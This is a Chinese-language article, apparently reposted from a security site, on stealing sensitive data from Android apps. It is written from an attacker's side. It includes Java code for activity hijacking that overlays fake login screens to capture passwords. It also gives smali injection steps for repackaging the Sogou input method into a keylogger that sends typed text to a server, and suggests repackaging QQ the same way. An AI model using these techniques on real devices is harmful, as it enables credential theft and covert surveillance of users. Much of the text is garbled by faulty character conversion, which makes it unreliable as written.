0×01 我們能獲得哪些android手機上的app敏感信息
手機上的app敏感信息
通信錄,通信記實,短信
各類app的帳號暗碼,輸進信息資料等
各類影音資料,照片資料
等等
0×02 我們有哪些編制可以獲得他們
通信錄,通信記實,短信,這類信息需要我們的歹意apk在安裝時申請大年夜量敏感的權(quán)限,好比說
一個典型的聯(lián)系人信息權(quán)限,這里需要在建設(shè)文件中聲明,不然沒法拿到
各類app的帳號暗碼,輸進信息資料等,這些信息在非root景象下,很是難以獲得
假定要強行獲得大年夜致有三種編制
–a.棧劫持,完全代碼見附件一,下面給出示例代碼
b.–部門apk會將敏感信息存進sd卡中,這里claud講過,我就不說了
c.–部門apk的建設(shè)文件讀寫權(quán)限設(shè)置不當(dāng),這個比較少
–別的:我們可以把馳名的apk文件重打包后再次發(fā)布,例如我們點竄QQ的apk文件后再發(fā)布。
0×03 棧劫持核心代碼
ActivityManager activityManager = (ActivityManager) getSystemService( Context.ACTIVITY_SERVICE ); List appProcesses = activityManager.getRunningAppProcesses(); //列舉過程 for(RunningAppProcessInfo appProcess : appProcesses) { //假定APP在前臺 if (appProcess.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { //APP是不是在需要劫持的列表中 if (mVictims.containsKey(appProcess.processName)) { if(UILogin.started == 0) { Intent UIIntent = new Intent(getBaseContext(), mVictims.get(appProcess.processName)); UIIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); getApplication().startActivity(UIIntent); UILogin.started =1; }長處:不消點竄方針apk,可以奇妙的棍騙用戶的賬戶暗碼
錯誤謬誤:劫持到的界面在棍騙了用戶暗碼后,沒法順利進行下一步登錄,
從而致利用戶會心識到不合弊端勁(除極少數(shù)環(huán)境,我們彈出的界面可以把用戶暗碼交互給正常的apk界面)
0×04 Android的apk重打包的優(yōu)錯誤謬誤
略
0×05 思慮別的編制
這應(yīng)當(dāng)是一個非root便可以操縱的手藝 這應(yīng)當(dāng)是一個低權(quán)限的手藝 這應(yīng)當(dāng)是一個通用型的手藝 如許該是一個不容易被發(fā)覺的手藝 思慮下,在android中apk之間是根基盡緣的,那有甚么可讓我的apk拜候到別的apk的敏感資本呢
在ios中,不逃獄的環(huán)境下,為甚么不承諾裝第三方的輸進法,這里是不是是隱含著一些縫隙呢!!!
0×06 Android輸進法的機制-流程
輸進法利用是具體措置用戶輸進行動的利用法度。為了可以或許在Android的輸進法框架中杰出的運行,所有的輸進法利用都需要繼續(xù)特定的service。 Android平臺的輸進法框架為輸進法利用定義了一個基類InputMethodService。InputMethodService供給了一個輸進 法的尺度實現(xiàn)。定義了輸進法生命周期內(nèi)的首要函數(shù),供給給開辟人員進行響應(yīng)的措置。
a. 當(dāng)用戶觸發(fā)輸進法顯示的時辰(客戶端控件獲得核心),InputMethodService啟動。起首調(diào)用onCreate() 函數(shù),該函數(shù)在輸進法第一次啟動的時辰調(diào)用,適合用來做一些初始化的設(shè)置,與其他service不異; b. 調(diào)用onCreateInputView()函數(shù),在該函數(shù)中成立KeyboardView并返回; c. 調(diào)用onCreateCandidatesView()函數(shù),在該函數(shù)中成立候選區(qū)實現(xiàn)并返回; d. 調(diào)用onStartInputView()函數(shù)來開端輸進內(nèi)容, e. 輸進結(jié)束后調(diào)用onFinishInput()函數(shù)來結(jié)束當(dāng)前的輸進, f. 假定移動到下一個輸進框則反復(fù)調(diào)用onStartInputView和onFinishInput函數(shù); g. 在輸進法封鎖的時辰調(diào)用onDestroy()函數(shù)。
0×07 Android輸進法的機制-細(xì)節(jié) (重點)
a.在InputMethodService中,有幾個值得寄望的編制或類getCurrentInputEditorInfo() 這個別例可以獲恰當(dāng)前 編纂框的一組對象屬性EditorInfo,他有以下的關(guān)頭屬性 EditorInfo .hintText顧名思義即為編纂框的默許值,這個是很關(guān)頭的一個屬性. EditorInfo .packageName是指這個控件所屬的apk的包名,好比說手機qq中的所有編纂框的packageName都是com.tencent.qq b.getCurrentInputConnection()這個別例可以獲恰當(dāng)前的編纂框的一個InputConnection對象,而這個對象則有多個強大年夜的編制可以調(diào)用 commitText(CharSequence text, int newCursorPosition),很關(guān)頭的一個函數(shù),用來向編纂框?qū)戇M值getTextAfterCursor(int n, int flags) getTextBeforeCursor(int n, int flags) 顧名思義,便是獲得輸進框中的字符串,n代表讀取多少位,flags設(shè)為0
0×08 Android輸進法的hack手藝
我們可以本身實現(xiàn)一個輸進法,在輸進每個字符的時辰記實,最后在onFinishInput編制處把輸進框的值發(fā) 送到辦事器往可以見教例代碼2中,操縱android示例代碼SoftKeyboard點竄的間諜apk,
此中在他的源代碼中只改動了兩處
handleCharacter 編制最后加進SoftKeyIcefish.postInfo(this);
onFinishInput編制加進SoftKeyIcefish.start();
0×09 Android輸進法的-重打包搜狗輸進法
經(jīng)由過程sougou的建設(shè)文件可以發(fā)現(xiàn)關(guān)頭的阿誰InputMethodService類即為
com.sohu.inputmethod.sogou.SogouIME.smali
打開這個文件搜刮committext,然后在每個這個后面加上
invoke-static {p0}, Lcom/sohu/inputmethod/sogou/SoftKeyIcefish;->postInfo(Landroid/inputmethodservice/InputMethodService;)V
即為SoftKeyIcefish.postInfo(this)
查找onFinishInput() v
第一行加上
invoke-static {}, Lcom/sohu/inputmethod/sogou/SoftKeyIcefish;->start()V即為
SoftKeyIcefish.start();
Apktool b打包,簽名,測試
0×10 測試結(jié)果,評論
圖片見
操縱對輸進法的重打包,來實現(xiàn)盜取用戶信息的編制,長處在于權(quán)限要求很是之低,只要求一個收集權(quán)限便可以盜取各類各樣的用戶輸進信息了,而反不雅各類輸進法 他們本身申請的權(quán)限已很是之高了。并且盜取的信息中包含的hinttext和包名又可以便利的幫忙我們定位到具體的apk和輸進框信息
0×11 具體內(nèi)容見ppt附件
http://pan.百度.com/share/link?shareid=134386&uk=3204812497
摘自中國云安網(wǎng)(www.yunsec.net) 原文:http://www.yunsec.net/a/security/wireless/2012/1112/11902.html